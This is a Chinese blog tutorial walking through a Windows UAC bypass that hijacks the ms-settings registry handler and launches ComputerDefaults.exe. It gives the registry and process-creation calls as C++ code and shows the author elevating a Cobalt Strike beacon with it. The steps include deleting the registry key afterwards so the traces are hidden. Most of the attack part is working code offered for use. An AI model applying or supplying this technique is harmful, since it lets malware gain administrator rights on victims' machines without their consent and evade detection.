关于bypassuac的探究——bypass的实现

经过前面的探究过后,我们整理下思路,首先要创建注册表,并添加DelegateExecute这个键值对,并修改command的指向exe路径即可bypassuac,那么这里用到一下几个函数

RegCreateKeyExA

首先是创建注册表项,对应的是之前创建HKCU\Software\Classes\ms-settings\Shell\Open\command这个路径的操作,这个路径默认情况下是不存在的

复制代码
LSTATUS RegCreateKeyExA(
  [in]            HKEY                        hKey,
  [in]            LPCSTR                      lpSubKey,
                  DWORD                       Reserved,
  [in, optional]  LPSTR                       lpClass,
  [in]            DWORD                       dwOptions,
  [in]            REGSAM                      samDesired,
  [in, optional]  const LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [out]           PHKEY                       phkResult,
  [out, optional] LPDWORD                     lpdwDisposition
);

hkey:句柄

lpSubKey:此函数打开或创建的子项的名称

Reserved:保留参数,必须为0

lpClass:该键的用户定义类类型。可以忽略此参数。此参数可以为NULL

dwOptions:有几个值,使用的时候具体查询

samDesired:指定要创建的密钥的访问权限的掩码

lpSecurityAttributes:指向SECURITY_ATTRIBUTES结构的指针

phkResult:指向接收打开或创建的键的句柄的变量的指针

lpdwDisposition:指向处置值变量的指针

RegSetValueExA

再就是修改注册表项,指向我们的恶意exe路径

复制代码
LSTATUS RegSetValueExA(
  [in]           HKEY       hKey,
  [in, optional] LPCSTR     lpValueName,
                 DWORD      Reserved,
  [in]           DWORD      dwType,
  [in]           const BYTE *lpData,
  [in]           DWORD      cbData
);

hkey:句柄

lpValueName:要设置的值的名称

Reserved:保留参数,必须为0

dwType:lpData参数指向的数据类型

lpData:要存储的数据

cbData:lpData参数指向的信息的大小,以字节为单位

RegDeleteTreeA

执行exe过后我们为了隐蔽最好是删除这个路径,那么就需要用到这个api

复制代码
LSTATUS RegDeleteTreeA(
  [in]           HKEY   hKey,
  [in, optional] LPCSTR lpSubKey
);

hkey:句柄

lpSubKey:密钥的名称

首先创建注册表项

复制代码
::RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\Shell\\open\\command",
        0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

然后给注册表赋值指向exe路径

复制代码
::RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenA(filePath) + 1));

添加删除注册表键,即DelegateExecute

复制代码
RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""));

然后调用cmd创建ComputerDefaults.exe这个进程

复制代码
CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

调用完成之后删除注册表项

复制代码
RegDeleteTreeA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings");

这里测试一下,先把路径写成cmd.exe

复制代码
char filePath[] = "C:\\Windows\\System32\\cmd.exe";

这里cmd的实现成功了,那么直接使用cs的马上线能不能够直接bypassuac呢,实验一下,这里把路径改为cs马的路径

这里为了验证已经bypass了uac,我后面手动自己点了一下cs的木马,第一个就是我们通过我们写的程序上线的,第二个就是直接点击上线的,看一下区别

仔细看的话这里bypass过的右上角有一个*

首先看一下第一个对话

再看下第二个对话,很明显这里已经bypass过了uac

相关推荐
运维开发王义杰5 小时前
金融安全生命线:用AWS EventBridge和CloudTrail构建主动式入侵检测系统
安全·金融·aws
天水幼麟5 小时前
动手学深度学习-学习笔记(总)
笔记·深度学习·学习
安全系统学习7 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
天水幼麟7 小时前
动手学深度学习-学习笔记【二】(基础知识)
笔记·深度学习·学习
(:满天星:)8 小时前
第31篇:块设备与字符设备管理深度解析(基于OpenEuler 24.03)
linux·运维·服务器·网络·centos
沧海一笑-dj8 小时前
【51单片机】51单片机学习笔记-课程简介
笔记·学习·51单片机·江科大·江科大学习笔记·江科大单片机·江科大51单片机
老虎06278 小时前
JavaWeb(苍穹外卖)--学习笔记04(前端:HTML,CSS,JavaScript)
前端·javascript·css·笔记·学习·html
加密狗复制模拟8 小时前
坚石ET ARM加密狗复制模拟介绍
安全·软件工程·个人开发
大苏打seven9 小时前
Docker学习笔记:Docker网络
笔记·学习·docker
野蛮人6号9 小时前
虚拟机网络编译器还原默认设置后VMnet8和VMnet1消失了
网络·vmware·虚拟机网络编译器·vmnet8消失